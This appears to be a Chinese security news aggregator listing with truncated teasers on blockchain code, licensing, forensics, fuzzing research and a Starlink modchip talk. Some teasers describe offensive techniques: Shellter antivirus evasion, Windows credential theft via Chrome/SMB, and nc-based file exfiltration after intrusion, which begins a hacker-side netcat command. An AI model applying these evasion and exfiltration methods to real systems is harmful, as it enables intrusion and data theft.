法系旗舰DS9车机拆解
虽然法系高端品牌DS（法文为Déesse，含义“女神”，隶属PSA集团）在中国一直打不开局面，但倔强的法国人还是不愿意放弃高端品牌，2022年DS官方宣布新款DS9家族...
以太坊源码解析：共识算法之ethash（源码篇）
本篇文章分析的源码地址为：https://github.com/ethereum/go-ethereum 分支：master commit id: 257bfff316e4efb8952fbeb67c91f86af579cb0a 引言 在ethash的...
GPL协议允许你怎么卖？
有人问我，“我在某GPL协议软件的源码上做了改进，我能不能大价钱卖这个源码啊？”我说你想多少钱卖？他说100万。我说你觉得GPL能让你这样卖吗？他说感觉不能，...
针对某APP常用地址取证解密
前言前段时间拿到了弘连的取证实录杂志，看到了里面有关于APP取证的，对其中一个常用地址的取证解密分析进行了一下复现，非常感谢弘连公司高质量的文章。参考...
利用Shellter免杀过360、电脑管家
利用Shellter免杀过360、电脑管家Shellter 是一个 shellcode 注入工具。它有效地重新编码有效负载（此处为外壳代码）以绕过防病毒（AV）软件。Shellter已被证...
G.O.S.S.I.P 阅读推荐 2022-11-14 FuzzJIT
今天为大家推荐的是由天津大学网络安全学院王俊杰研究团队与奇安信代码安全实验室、澳大利亚莫那什大学研究人员共同合作的论文–FuzzJIT: Oracle-Enhanced Fuz...
如何使用谷歌Chrome浏览器窃取Windows密码
写在前面的话 利用Windows操作系统的SMB文件共享协议来窃取身份凭证的攻击技术长久以来都一直存在，这是一个难以避免的问题。虽然这种技术有多种实现方...
喜提热搜，得物APP被曝删除用户相册？
11 月 12 日，有网友在某平台发布一段视频，视频中该网友声称收到在得物 App 购买的商品后发现货物存在问题，随即拍下视频反馈给得物官方，并上传了一些与商...
The talk covers how we managed to execute arbitrary code on the Starlink User Terminal using a custom modchip that performs voltage fault injection
Starlink User Terminal Modchip This repository accompanies the talk titled 'Glitched on Earth by Humans: A Black-Box Security Evaluation of the Spa...
nc加密盗取文件内容的小技巧
这里简单介绍一下，情况是这样我们入侵Linux之后，植入nc后，想盗取部分内容无法直接传输，因为会遇到防火墙的拦截，这里就需要进行加密传输。黑客端：nc -l ...